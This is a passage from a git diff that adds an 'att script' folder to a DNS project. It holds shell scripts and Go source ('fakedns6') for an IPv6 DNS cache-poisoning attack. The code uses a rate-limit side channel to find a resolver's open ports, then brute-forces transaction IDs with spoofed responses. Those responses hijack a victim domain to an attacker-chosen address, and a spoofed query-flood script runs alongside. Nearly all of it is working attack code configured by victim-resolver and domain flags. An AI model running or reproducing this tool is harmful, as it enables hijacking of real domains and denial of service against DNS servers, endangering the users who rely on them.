string, data string) error { - res, err := format.Source([]byte(data)) - if err != nil { - return err - } - - if err = os.WriteFile(file, res, 0644); err != nil { - return err - } - return nil -} - -const ( - pluginPath = "ohmydns2/plugin/" - proberPluginPath = "ohmydns2/plugin/prober/" - pluginFile = "plugin.cfg" - pluginFSPath = "plugin/" // Where the plugins are located on the file system - proberPluginFSPath = "plugin/prober/" // 探测器插件在文件系统中的位置 - header = "// generated by plugin_gen.go; DO NOT EDIT\n\n" -) diff --git "a/att script/4(v6 DDoS)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" "b/att script/4(v6 DDoS)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" deleted file mode 100644 index 8c41fa7..0000000 Binary files "a/att script/4(v6 DDoS)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" and /dev/null differ diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/attack.sh" "b/att script/5 (v6\347\257\241\346\224\271)/code/attack.sh" new file mode 100644 index 0000000..d67ca19 --- /dev/null +++ "b/att script/5 (v6\347\257\241\346\224\271)/code/attack.sh" @@ -0,0 +1,3 @@ +chmod 777 ./start.sh +chmod 777 ./dns_query.sh +./start.sh $1 $2 $3 $4 $5 \ No newline at end of file diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/dns_OPT.bin" "b/att script/5 (v6\347\257\241\346\224\271)/code/dns_OPT.bin" new file mode 100644 index 0000000..e0dcbc1 Binary files /dev/null and "b/att script/5 (v6\347\257\241\346\224\271)/code/dns_OPT.bin" differ diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/dns_end.bin" "b/att script/5 (v6\347\257\241\346\224\271)/code/dns_end.bin" new file mode 100644 index 0000000..8aa4774 Binary files /dev/null and "b/att script/5 (v6\347\257\241\346\224\271)/code/dns_end.bin" differ diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/dns_query.sh" "b/att script/5 (v6\347\257\241\346\224\271)/code/dns_query.sh" new file mode 100644 index 0000000..dbc0266 --- /dev/null +++ "b/att script/5 (v6\347\257\241\346\224\271)/code/dns_query.sh" @@ -0,0 +1,8 @@ +# usage ./dns_query.sh [NS IP] [Resolver IP(spoofed as source IP)] domain... (e.g. www google com) +# write the domain name into the binary +echo "初始化工具环境" +# change the sending speed if necessary (-i). Set it to "flood" (replace -i with --flood) to maximize the power. +# fire! +go version +echo "尝试触发权威服务器请求速率限制" +./flood -i $4 -saddr $2 -taddr $1 -q $3 diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/dns_start.bin" "b/att script/5 (v6\347\257\241\346\224\271)/code/dns_start.bin" new file mode 100644 index 0000000..e6e4242 Binary files /dev/null and "b/att script/5 (v6\347\257\241\346\224\271)/code/dns_start.bin" differ diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/attack.go" "b/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/attack.go" new file mode 100644 index 0000000..6cc6f87 --- /dev/null +++ "b/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/attack.go" @@ -0,0 +1,685 @@ +package main + +import ( + "flag" + "fmt" + "github.com/google/gopacket" + "log" + "math/rand" + "net" + "os" + "strconv" + "sync" + "time" + + "github.com/google/gopacket/layers" + "github.com/google/gopacket/pcap" + "github.com/google/gopacket/routing" +) + +var handle *pcap.Handle +var ethernetLayer *layers.Ethernet +var victimDNSName string +var dnsQueryName string +var authIP net.IP +var resolverIP net.IP +var localIP []net.IP +var defaultJitter uint +var gotReply = false +var attackerControlledDomain string +var attackForwarder bool +var repeatTimes int +var timeGap uint +var attTargetAddr string +var soaName string + +var jitter uint = 10 +var rtt uint = 1 // in ms +var debugOutput = true + +const GROUP_SIZE = 50 + +/* I'm not sure what's this used for. Probably used with older version where multiple IPs is not supported. */ +//var sendingChannel chan *outgoingPacket +var backendResolvers = make([]*backendResolver, 0) +var bruteForceShouldBeKilled = false + +type backendResolver = struct { + resolverBackendIP net.IP + + // [端口组ID][端口] + groups [][]uint16 // = make([][]uint16, 65536) + groupIDCounter uint32 // = 3 + groupIDCounterLock *sync.Mutex + groupSendTime []time.Time // = make([]time.Time, 65536) + + probeChannel chan uint32 //= make(chan uint16, 655) + priorityProbeChannel chan uint32 //= make(chan uint16, 655) + alwaysOpenPorts []bool //= make([]bool, 65536) + + perIPLimitCounter []int //= 6 + + networkXmitLock *sync.Mutex +} + +// timeout in ms, 持续触发查询请求 +func dnsRequestSender(timeout uint) { + for { + gotReply = false + sendDNSRequest(uint16(rand.Uint32()), dnsQueryName) + retryTimes := timeout / 500 + for { + if !gotReply { + time.Sleep(500 * time.Millisecond) + retryTimes-- + if retryTimes == 0 { + break + } + } else { + if debugOutput { + fmt.Println("接收到响应 ", timeout-retryTimes*500, "ms") + } else { + fmt.Println("Rx") + } + break + } + } + if !attackForwarder { + //dnsQueryName = strconv.Itoa(rand.Int()) + "." + victimDNSName + dnsQueryName = victimDNSName + } else { + /* I'm not sure if we should change the nonce. */ + dnsQueryName = strconv.Itoa(rand.Int()) + "." + attackerControlledDomain + } + } +} + +func receivingThread() { + for { + data, captureInfo, err := handle.ReadPacketData() + if err == pcap.NextErrorTimeoutExpired { + continue + } else if err != nil { + log.Printf("error reading packet: %v", err) + continue + } + + // Parse the packet. We'd use DecodingLayerParser here if we + // wanted to be really fast. + packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy) + + // Find the packets we care about, and print out logging + // information about them. All others are ignored. + if rspNet := packet.NetworkLayer(); rspNet == nil { + continue + } else if rspIPLayer := packet.Layer(layers.LayerTypeIPv6); rspIPLayer == nil { + continue + //} else if rspIP := rspIPLayer.(*layers.IPv4); rspIP == nil { + } else if rspIP := rspIPLayer.(*layers.IPv6); rspIP == nil { + continue + } else if rspIP.NextHeader != layers.IPProtocolICMPv6 { + if rspIP.FlowLabel != 2 && rspIP.NextHeader == layers.IPProtocolUDP && compareIPv6Addr(rspIP.SrcIP, resolverIP) == 0 { + rspUDPLayer := packet.Layer(layers.LayerTypeUDP) + if rspUDPLayer != nil && rspUDPLayer.(*layers.UDP).SrcPort == 53 { + rspDNSLayer := packet.Layer(layers.LayerTypeDNS) + if rspDNSLayer != nil { + rspDNS := rspDNSLayer.(*layers.DNS) + if rspDNS.QR == true { + if len(rspDNS.Authorities) != 0 && rspDNS.ResponseCode == layers.DNSResponseCodeNXDomain && string(rspDNS.Questions[0].Name) == dnsQueryName && + string(rspDNS.Authorities[0].Name) == victimDNSName && string(rspDNS.Authorities[0].SOA.MName) == soaName { + fmt.Println("Success!!") + os.Exit(0) + } else if string(rspDNS.Questions[0].Name) == dnsQueryName && rspDNS.ResponseCode == layers.DNSResponseCodeNoErr { + for _, record := range rspDNS.Answers { + if record.Type == layers.DNSTypeAAAA { + fmt.Println("AAAA记录修改成功!!") + os.Exit(0) + } + } + } else if string(rspDNS.Questions[0].Name) == dnsQueryName { + gotReply = true + } + } + } + } + } + continue + } else if rspICMPLayer := packet.Layer(layers.LayerTypeICMPv6); rspICMPLayer == nil { + continue + } else if rspICMP, ok := rspICMPLayer.(*layers.ICMPv6); !ok { + continue + } else if rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodePortUnreachable) && + rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodeAdminProhibited) { + continue + } else if nestedIpData := rspICMP.Payload; nestedIpData == nil { + continue + } else if nestedIpPacket := gopacket.NewPacket(nestedIpData, layers.LayerTypeIPv6, gopacket.NoCopy); nestedIpPacket == nil { + continue + } else if nestedIpLayer := nestedIpPacket.Layer(layers.LayerTypeIPv6); nestedIpLayer == nil { + continue + } else if nestedIp := nestedIpLayer.(*layers.IPv6); nestedIp == nil { + continue + } else { + r := getBackendResolver(nestedIp.DstIP) + if r != nil { + + nestedUDPLayer := nestedIpPacket.Layer(layers.LayerTypeUDP) + if nestedUDPLayer == nil { + fmt.Println("nestedUDPLayer == nil") + continue + } + nestedUDP := nestedUDPLayer.(*layers.UDP) + if nestedUDP == nil { + fmt.Println("nestedUDP == nil") + continue + } + + //got verification packet back + if nestedIp.FlowLabel > 1 { + //update rtt + /* Potential BUG: rtt of both resolver may not be the same. */ + newrtt := captureInfo.Timestamp.Sub(r.groupSendTime[nestedIp.FlowLabel]).Nanoseconds()/1000000 + 1 + if newrtt >= 0 && newrtt < 5000 { + var draftJitter uint = 0 + if uint(newrtt) > rtt { + draftJitter = uint(newrtt) - rtt + } else { + draftJitter = (jitter + (rtt - uint(newrtt))) / 2 + } + if jitter > 30 { + fmt.Println("Jitter > 30ms!") + jitter = 10 + } else { + jitter = draftJitter + } + rtt = uint(newrtt) + if debugOutput { + fmt.Println("rtt=", rtt, ", jitter=", jitter) + } + } else { + fmt.Println("newrtt error:", newrtt) + } + //reduce ratelimit counter + localIPNum := getLocalIPNum(nestedIp.SrcIP) + if localIPNum != -1 { + if r.perIPLimitCounter[localIPNum] >= 0 { + r.perIPLimitCounter[localIPNum]-- + } + if r.perIPLimitCounter[localIPNum] < 0 { + if debugOutput { + /* This may happen in real attacks. Don't panic :). */ + fmt.Println(r.resolverBackendIP, "bug: perIPLimitCounter < 0") + } + } + if debugOutput { + fmt.Println(r.resolverBackendIP, "remaining counter:", localIPNum, r.perIPLimitCounter[localIPNum]) + } + } else { + if debugOutput { + fmt.Println("received unwanted ICMP for", nestedIp.SrcIP) + } + } + //process the packet + binarySearch(r, nestedIp.FlowLabel) + } + } + } + } +} + +func binarySearch(r *backendResolver, flowlabel uint32) { + groupLen := 0 + group := r.groups[flowlabel] + + for _, port := range group { + if port != 65535 { + groupLen++ + } else { + break + } + } + + if groupLen == 1 { + //brute force + r.networkXmitLock.Lock() + fmt.Println("猜测开放端口为: " + strconv.Itoa(int(group[0]))) + dnsBruteForce(group[0], timeGap, r.resolverBackendIP, attTargetAddr) + r.networkXmitLock.Unlock() + r.alwaysOpenPorts[group[0]] = true + } else if groupLen > 1 { + var repeatTimes1 int + if repeatTimes > 1 { + repeatTimes1 = repeatTimes + 1 + } else { + repeatTimes1 = 1 + } + for j := 0; j < repeatTimes1; j++ { + //二分法定位开放端口 + //left + id := allocateGroupID(r) + r.groups[id] = make([]uint16, groupLen/2) + copy(r.groups[id], group[0:groupLen/2]) + for len(r.groups[id]) < GROUP_SIZE { + r.groups[id] = append(r.groups[id], 65535) + } + if debugOutput { + fmt.Println(r.resolverBackendIP, "bs", r.groups[id][0], "+", groupLen/2) + } else { + fmt.Println("Found something interesting!") + } + r.priorityProbeChannel <- flowlabel + + //right + id = allocateGroupID(r) + r.groups[id] = make([]uint16, groupLen-groupLen/2) + copy(r.groups[id], group[groupLen/2:groupLen]) + for len(r.groups[id]) < GROUP_SIZE { + r.groups[id] = append(r.groups[id], 65535) + } + //fmt.Println(r.resolverBackendIP, "bsr", r.groups[id][0], "+", groupLen-groupLen/2) + r.priorityProbeChannel <- flowlabel + } + } else { + if debugOutput { + fmt.Println(r.resolverBackendIP, "bug: groupLen <= 0, id=", flowlabel) + for _, port := range group { + fmt.Print(port) + } + } + } +} + +func perIPLimitRecover(r *backendResolver, num int) { + for { + if r.perIPLimitCounter[num] < 6 { + time.Sleep(time.Second + (time.Duration(defaultJitter)+50)*time.Millisecond) + r.perIPLimitCounter[num]++ + } else { + time.Sleep((time.Duration(defaultJitter) + 1) * time.Millisecond) + } + } +} + +func probeSender(r *backendResolver) { + for { + + var flow uint32 + select { + case flow = <-r.priorityProbeChannel: + break + case flow = <-r.probeChannel: + break + //default: + // time.Sleep(time.Microsecond) + } + + // 当所有IP都测试过且端口组中只有一个端口时,进行TXID暴力破解 + if getIPwithAvailableCounter(r) == nil && r.groups[flow][1] == 65535 { + //brute force + fmt.Println("猜测开放端口为:" + strconv.Itoa(int(r.groups[flow][0]))) + fmt.Println("开始爆破事务ID") + r.networkXmitLock.Lock() + dnsBruteForce(r.groups[flow][0], timeGap, r.resolverBackendIP, attTargetAddr) + r.networkXmitLock.Unlock() + r.alwaysOpenPorts[r.groups[flow][0]] = true + continue + } + // 测试每个IP的速率限制 + var verifyIP net.IP + for { + verifyIP = getIPwithAvailableCounter(r) + if verifyIP == nil { + time.Sleep(time.Millisecond) + } else { + break + } + } + + //send + ports := r.groups[flow] + r.networkXmitLock.Lock() + for i := 0; i < GROUP_SIZE; i++ { + if defaultJitter <= 3 { + if attackForwarder { + xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 100) + } else { + xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 1) + } + } else { + xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 0) + } + } + time.Sleep(time.Duration(defaultJitter) * time.Millisecond) + // 验证 + xmitUDPv6(verifyIP, r.resolverBackendIP, 53, 65535, flow, 10) + r.groupSendTime[flow] = time.Now() + if rand.Uint32()%100 < 2 { + if debugOutput { + fmt.Println("目标"+r.resolverBackendIP.String(), "探测中", "当前端口范围"+strconv.Itoa(int(ports[0]))+"~~"+strconv.Itoa(int(ports[0]+49))) + } else { + fmt.Println("开放端口猜测中,请稍后...") + } + } + + // 等待全局计数器恢复 + if !attackForwarder { + time.Sleep(time.Duration(60-defaultJitter) * time.Millisecond) + } else { + /* IDK why I wrote this line. Forwarders should be the same as resolvers if they support global rate limit. */ + time.Sleep(time.Duration(60) * time.Millisecond) + } + r.networkXmitLock.Unlock() + } +} + +// 划分端口 +func portGroupFormer(r *backendResolver, startPort uint, endPort uint) { + for { + //divide into groups + var id uint32 = 0 + var currentGroupSize = 0 + + for i := startPort; i <= endPort; i++ { + // 端口不太可能用于进一步的查询。但这仍然是可能的。如果觉得端口重用不太可能发生,请在这里取消注释 + if r.alwaysOpenPorts[i] { + continue + } + if currentGroupSize%GROUP_SIZE == 0 { + if id != 0 { + r.probeChannel <- id + for j := 1; j < repeatTimes; j++ { + //dup + previd := id + id = allocateGroupID(r) + r.groups[id] = make([]uint16, len(r.groups[previd])) + copy(r.groups[id], r.groups[previd]) + r.probeChannel <- id + } + } + + id = allocateGroupID(r) + r.groups[id] = make([]uint16, 0) + } + + r.groups[id] = append(r.groups[id], uint16(i)) + currentGroupSize++ + } + + //deal with last several cases + if /*len(r.groups[id]) != 50 &&*/ len(r.groups[id]) != 0 { + for len(r.groups[id]) != 50 && len(r.groups[id]) != 0 { + r.groups[id] = append(r.groups[id], 65535) + } + + r.probeChannel <- id + + for j := 1; j < repeatTimes; j++ { + //dup + previd := id + id = allocateGroupID(r) + r.groups[id] = make([]uint16, len(r.groups[previd])) + copy(r.groups[id], r.groups[previd]) + r.probeChannel <- id + } + } + } +} + +func main() { + + /* This program only finds & injects DNS responses automatically. Additional authoritative server muting/flooding scripts are needed. */ + /* IPv4 is not supported yet. */ + /* Use "-h to get usage. " */ + /* Attaching PoC? */ + /* Add Paper Bio? */ + ifaceName := flag.String("i", "vmnet1", "Interface for attacking. Multiple interfaces are not supported. Multiple IPs per interface is supported.") + /* If automatic MAC address discovery doesn't work. consider enable this option and feed it to the MAC field. */ + // gateWayMacStr := flag.String("g", "00:11:22:33:44:55", "Gateway Mac") + authServer := flag.String("a", "", "Authoritative server for the domain to be poisoned.") + resolver := flag.String("r", "8.8.8.8", "Front-end IP of the victim resolver.") + resolverBackend := flag.String("b", "", "Back-end IP of the victim resolver.") + resolverBackendList := flag.String("bn", "", "Back-end IP list of the victim resolver. One per line. This would overwrite \"-b\" and is used when the server has multiple backend IPs.") + startPort := flag.Uint("s", 1, "Lowest port # for the port scan range, inclusive.") + endPort := flag.Uint("e", 65534, "Highest port # for the port scan range, inclusive.") + victimDNSName := flag.String("n", "", "The domain name to be poisoned.") + dnsQueryTimeout := flag.Uint("t", 4000, "Timeout in ms for outgoing dns queries to the victim resolver. Should be aligned with the resolver's timeout (e.g., BIND is 10000ms by default).") + defaultJitter := flag.Uint("j", 5, "Time gap between verification packet and the latest probe packet in a group. Increase the value if Jitter is increased.") + repeatTimes := flag.Int("R", 1, "Retransmit/Reprobe a group of ports for X times to reduce FNs.") + timeGap := flag.Uint("tg", 0, "Time gap is us(microseconds) between the TxID brute force packets.") + attTargetAddr := flag.String("ad", "", "想要篡改实现的结果") + debugOutput := flag.Bool("d", false, "调试输出模式.") + attackerMaliciousDomain := flag.String("f", "", "Attacker controlled domain used in the forwarder attack, this will enable the forwarder attack mode.") + soaName = *flag.String("soa", "", "SOA name of the victim domain on attacker-controlled name server used to indicate the resolver has been poisoned. (Resolver attack only.)") + + flag.Parse() + fmt.Println("侧信道脚本工作参数:") + fmt.Println("\t网络接口:" + *ifaceName) + fmt.Println("\t目标域名权威服务器地址:" + *authServer) + fmt.Println("\t目标服务器地址:" + *resolverBackend) + fmt.Println("\t目标域名:" + *victimDNSName) + fmt.Println("\t预期修改结果:" + *attTargetAddr) + //gatewayMac, _ := net.ParseMAC(*gateWayMacStr) + Main(*ifaceName, net.ParseIP(*authServer), net.ParseIP(*resolver), net.ParseIP(*resolverBackend), *startPort, *endPort, *victimDNSName, *dnsQueryTimeout, *defaultJitter, + *attackerMaliciousDomain, *resolverBackendList, *debugOutput, *repeatTimes, *timeGap, *attTargetAddr, soaName) + os.Exit(0) +} + +func Main(ifaceName string, authIPArg net.IP, resolverIPArg net.IP, resolverBackendIPArg net.IP, startPort uint, endPort uint, victimDNSNameArg string, dnsQueryTimeout uint, + defaultJitterArg uint, attackerMaliciousDomainArg string, resolverBackendList string, debugOutputArg bool, repeatTimesArg int, timeGapArg uint, attTargetAddrArg string, + soaNameArg string) { + rand.Seed(time.Now().UnixNano()) + + handle, _ = pcap.OpenLive( + ifaceName, + 65536, + true, + pcap.BlockForever, + ) + err := handle.SetBPFFilter("not host " + authIPArg.To16().String()) + if err != nil { + fmt.Println("cannot set BPF filter.") + } + + iface, err := net.InterfaceByName(ifaceName) + if err != nil { + fmt.Println("cannot open network interface") + os.Exit(1) + } + // 是否攻击转发器 + if attackerMaliciousDomainArg != "" { + attackForwarder = true + fmt.Println("转发器攻击模式!") + attackerControlledDomain = attackerMaliciousDomainArg + } + + // 参数赋值 + authIP = authIPArg + resolverIP = resolverIPArg + victimDNSName = victimDNSNameArg + debugOutput = debugOutputArg + timeGap = timeGapArg + attTargetAddr = attTargetAddrArg + soaName = soaNameArg + + localIP, _ = GetIfaceAddrMulti(iface) + nonce := strconv.Itoa(rand.Int()) + + if !attackForwarder { + //dnsQueryName = nonce + "." + victimDNSName + dnsQueryName = victimDNSName + } else { + dnsQueryName = nonce + "." + attackerControlledDomain + } + + defaultJitter = defaultJitterArg + repeatTimes = repeatTimesArg + + if resolverBackendList != "" { + file, err := os.Open(resolverBackendList) + if err != nil { + fmt.Println(err) + os.Exit(10) + } + for { + var resolverIP string + n, err := fmt.Fscanf(file, "%s", &resolverIP) + if n <= 0 || err != nil { + break + } + backendResolvers = append(backendResolvers, backendResolverBuilder(net.ParseIP(resolverIP))) + } + } else { + //r1 shouldn't be nil + r1 := backendResolverBuilder(resolverBackendIPArg) + backendResolvers = append(backendResolvers, r1) + } + + //figure out MAC address + //test if it's in LAN first + // dstMac, err := GetGatewayAddr(iface, handle, backendResolvers[0].resolverBackendIP.To16()) + gwIP, err := getv6Gateway() + dstMac, err := getGatewayV6Mac(ifaceName, gwIP) + if err == nil { + ethernetLayer = &layers.Ethernet{ + SrcMAC: iface.HardwareAddr, + DstMAC: dstMac, + //EthernetType: layers.EthernetTypeIPv4, + EthernetType: layers.EthernetTypeIPv6, + } + fmt.Println("\t目的Mac地址为:", dstMac) + } else { + //query routing table + router, err := routing.New() + if err != nil { + fmt.Println(err) + os.Exit(4) + } + _, nextHopIP, _, err := router.Route(backendResolvers[0].resolverBackendIP) + if err != nil { + fmt.Println(err) + os.Exit(5) + } + dstMac, err := GetGatewayAddr(iface, handle, nextHopIP.To16()) + if err != nil { + fmt.Println(err) + os.Exit(6) + } + fmt.Println("MAC:", dstMac) + ethernetLayer = &layers.Ethernet{ + SrcMAC: iface.HardwareAddr, + DstMAC: dstMac, + //EthernetType: layers.EthernetTypeIPv4, + EthernetType: layers.EthernetTypeIPv6, + } + } + + // 开启接收线程,处理响应包判断攻击状态 + go receivingThread() + + for i, ip := range localIP { + // 只使用公网IP + if !ip.IsLoopback() { + if debugOutput { + fmt.Println("可用 IP", ip) + } + for _, r := range backendResolvers { + go perIPLimitRecover(r, i) + } + } + } + // 发送dns查询请求,触发端口开放 + go dnsRequestSender(dnsQueryTimeout) + + for _, r := range backendResolvers { + // 猜测端口 + go probeSender(r) + // 端口范围组合 + go portGroupFormer(r, startPort, endPort) + time.Sleep(25 * time.Millisecond) + } + + time.Sleep(999 * time.Hour) + +} + +func allocateGroupID(r *backendResolver) uint32 { + r.groupIDCounterLock.Lock() + id := r.groupIDCounter + r.groupIDCounter++ + if r.groupIDCounter == 0 { + r.groupIDCounter = 3 + } + r.groupIDCounterLock.Unlock() + return id +} + +func getBackendResolver(resolverIP net.IP) *backendResolver { + for _, r := range backendResolvers { + if compareIPv6Addr(r.resolverBackendIP, resolverIP) == 0 { + return r + } + } + return nil +} + +func lockNetwork() { + for _, r := range backendResolvers { + r.networkXmitLock.Lock() + } +} + +func unlockNetwork() { + for _, r := range backendResolvers { + r.networkXmitLock.Unlock() + } +} + +func getLocalIPNum(ip net.IP) int { + for i, localip := range localIP { + if compareIPv6Addr(localip, ip) == 0 { + return i + } + } + return -1 +} + +func backendResolverBuilder(backendIP net.IP) *backendResolver { + + if backendIP == nil { + return nil + } + temp := backendResolver{ + resolverBackendIP: backendIP, + groups: make([][]uint16, 65536), + groupIDCounter: 3, + groupIDCounterLock: &sync.Mutex{}, + groupSendTime: make([]time.Time, 65536), + probeChannel: make(chan uint32, 655), + priorityProbeChannel: make(chan uint32, 655), + alwaysOpenPorts: make([]bool, 65536), + perIPLimitCounter: make([]int, len(localIP)), + networkXmitLock: &sync.Mutex{}, + } + for i := range temp.perIPLimitCounter { + temp.perIPLimitCounter[i] = 6 + } + for i := 0; i < 65536; i++ { + temp.alwaysOpenPorts[i] = false + } + temp.alwaysOpenPorts[53] = true + temp.alwaysOpenPorts[0] = true + temp.alwaysOpenPorts[65535] = true + return &temp + +} + +// distribute verification to multiple IPs evenly +func getIPwithAvailableCounter(r *backendResolver) net.IP { + seed := rand.Int() % len(localIP) + for i := 0; i < len(localIP); i++ { + if r.perIPLimitCounter[(i+seed)%len(localIP)] > 0 { + return localIP[(i+seed)%len(localIP)] + } + } + return nil +} diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/dns.go" "b/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/dns.go" new file mode 100644 index 0000000..c29f9f9 --- /dev/null +++ "b/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/dns.go" @@ -0,0 +1,261 @@ +package main + +import ( + "fmt" + "math/rand" + "net" + "time" + + "github.com/google/gopacket/layers" +) + +var bruteForceCouldBeKilled bool + +func sendDNSRequest(id uint16, name string) { + if debugOutput { + fmt.Println("Send new DNS request", name, id) + } + _sendDNSRequest(id, name, localIP[0], resolverIP, (layers.UDPPort)(rand.Uint32()), 53) +} + +func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) { + ipLayer := layers.IPv6{ + FlowLabel: 1, + SrcIP: src, + DstIP: dst, + Version: 6, + HopLimit: 64, + NextHeader: layers.IPProtocolUDP, + //Flags: layers.IPv4DontFragment, + } + udpLayer := layers.UDP{ + SrcPort: sport, + DstPort: dport, + } + dnsLayer := layers.DNS{ + ID: id, + QR: false, + OpCode: 0, + AA: false, + TC: false, + RD: true, + RA: false, + Z: 0, + ResponseCode: 0, + QDCount: 1, + ANCount: 0, + NSCount: 0, + ARCount: 0, + Questions: []layers.DNSQuestion{{ + Name: []byte(name), + Type: layers.DNSTypeAAAA, + Class: layers.DNSClassIN, + }}, + Authorities: nil, + Additionals: nil, + } + err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) + if err != nil { + fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err) + } + err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) + if err != nil { + fmt.Println("can not send packet @ sendDNSRequest: ", err) + } +} + +func bruteForceTerminatingTimer(timegap uint) { + time.Sleep(time.Duration(timegap) * time.Millisecond) + bruteForceCouldBeKilled = true +} + +func dnsBruteForce(targetPort uint16, timegap uint, resolverBackendIP net.IP, attTargetAddr string) { + bruteForceShouldBeKilled = true + bruteForceCouldBeKilled = false + ipLayer := layers.IPv6{ + FlowLabel: 2, + SrcIP: authIP, + DstIP: resolverBackendIP, + Version: 6, + HopLimit: 64, + NextHeader: layers.IPProtocolUDP, + //Flags: layers.IPv4DontFragment, + } + udpLayer := layers.UDP{ + SrcPort: 53, + DstPort: layers.UDPPort(targetPort), + } + dnsLayer := layers.DNS{ + ID: 0, + QR: true, + OpCode: 0, + AA: true, + TC: false, + RD: false, + RA: false, + Z: 0, + ResponseCode: layers.DNSResponseCodeNoErr, + } + + if !attackForwarder { + dnsLayer.Questions = []layers.DNSQuestion{{ + Name: []byte(dnsQueryName), + Type: layers.DNSTypeAAAA, + Class: layers.DNSClassIN, + }} + // 原方案:将域名NS篡改到attacker的服务器上 + //dnsLayer.Authorities = []layers.DNSResourceRecord{{ + // Name: []byte(victimDNSName), + // Type: layers.DNSTypeNS, + // Class: layers.DNSClassIN, + // TTL: 300, + // IP: nil, + // NS: []byte(auxDomain), + // CNAME: nil, + // PTR: nil, + // TXTs: nil, + // SOA: layers.DNSSOA{}, + // SRV: layers.DNSSRV{}, + // MX: layers.DNSMX{}, + // OPT: nil, + // TXT: nil, + //}} + //dnsLayer.Answers = nil + //dnsLayer.Additionals = nil + dnsLayer.Authorities = []layers.DNSResourceRecord{{ + Name: []byte(dnsQueryName), + Type: layers.DNSTypeNS, + Class: layers.DNSClassIN, + TTL: 300, + IP: nil, + // 暂时写死 + NS: []byte("nsv6.n64.top"), + CNAME: nil, + PTR: nil, + TXTs: nil, + SOA: layers.DNSSOA{}, + SRV: layers.DNSSRV{}, + MX: layers.DNSMX{}, + OPT: nil, + TXT: nil, + }} + dnsLayer.Answers = []layers.DNSResourceRecord{{ + Name: []byte(dnsQueryName), + Type: layers.DNSTypeAAAA, + Class: layers.DNSClassIN, + TTL: 300, + /* Fill with any IP you want. The victim domain will be hijacked to this IP. */ + IP: net.ParseIP(attTargetAddr), + NS: nil, + CNAME: nil, + PTR: nil, + TXTs: nil, + SOA: layers.DNSSOA{}, + SRV: layers.DNSSRV{}, + MX: layers.DNSMX{}, + OPT: nil, + TXT: nil, + }} + dnsLayer.Additionals = nil + } else { + /* Change these flags accordingly to the request sent by the resolver. */ + dnsLayer.AA = false + dnsLayer.RD = true + dnsLayer.RA = true + dnsLayer.Questions = []layers.DNSQuestion{{ + Name: []byte(dnsQueryName), + Type: layers.DNSTypeAAAA, + Class: layers.DNSClassIN, + }} + dnsLayer.Answers = []layers.DNSResourceRecord{{ + Name: []byte(dnsQueryName), + Type: layers.DNSTypeCNAME, + Class: layers.DNSClassIN, + TTL: 300, + IP: nil, + NS: nil, + CNAME: []byte(victimDNSName), + PTR: nil, + TXTs: nil, + SOA: layers.DNSSOA{}, + SRV: layers.DNSSRV{}, + MX: layers.DNSMX{}, + OPT: nil, + TXT: nil, + }, { + Name: []byte(victimDNSName), + Type: layers.DNSTypeAAAA, + Class: layers.DNSClassIN, + TTL: 300, + /* Fill with any IP you want. The victim domain will be hijacked to this IP. */ + IP: net.ParseIP(attTargetAddr), + NS: nil, + CNAME: nil, + PTR: nil, + TXTs: nil, + SOA: layers.DNSSOA{}, + SRV: layers.DNSSRV{}, + MX: layers.DNSMX{}, + OPT: nil, + TXT: nil, + }} + } + + err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) + if err != nil { + fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go error", err) + } + if debugOutput { + fmt.Println("DNS BruteForce: ", targetPort) + } + + startTime := time.Now() + var txid uint16 + //try to see if this port is open in reality + for txid = 0; txid < GROUP_SIZE*2; txid++ { + dnsLayer.ID = txid + err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) + if err != nil { + fmt.Println("can not send packet @ sendDNSRequest pos 1: ", err) + } + time.Sleep(time.Duration(timegap) * time.Microsecond) + } + + /* This is used for early termination */ + //verification packet + //xmitUDPv6(localIP, resolverBackendIP, layers.UDPPort(targetPort), 65535, 2, 0) + //go bruteForceTerminatingTimer( /*jitter + defaultJitter*/ defaultJitter + 60) + + //continue brute force + for txid = GROUP_SIZE * 2; txid < 0xffff; txid++ { + /* This is used for early termination */ + //if bruteForceCouldBeKilled && bruteForceShouldBeKilled { + // fmt.Println("DNS Brute force aborted") + // break + //} + dnsLayer.ID = txid + err := Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) + if err != nil { + fmt.Println("can not send packet @ DNSBruteForce: ", err) + } + if timegap != 0 { + time.Sleep(time.Duration(timegap) * time.Microsecond) + } + } + + //0xffff is missing from packet trace + /* This is used for early termination */ + //if !bruteForceShouldBeKilled { + dnsLayer.ID = 0xffff + err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) + if err != nil { + fmt.Println("can not send packet @ DNSBruteForce pos 2: ", err) + } + //} + if debugOutput { + fmt.Println("time: ", time.Now().Sub(startTime)) + } + + //help to recover the global counter + time.Sleep(time.Duration(60+ /*jitter + defaultJitter*/ defaultJitter) * time.Millisecond) +} diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/go.mod" "b/att script/5 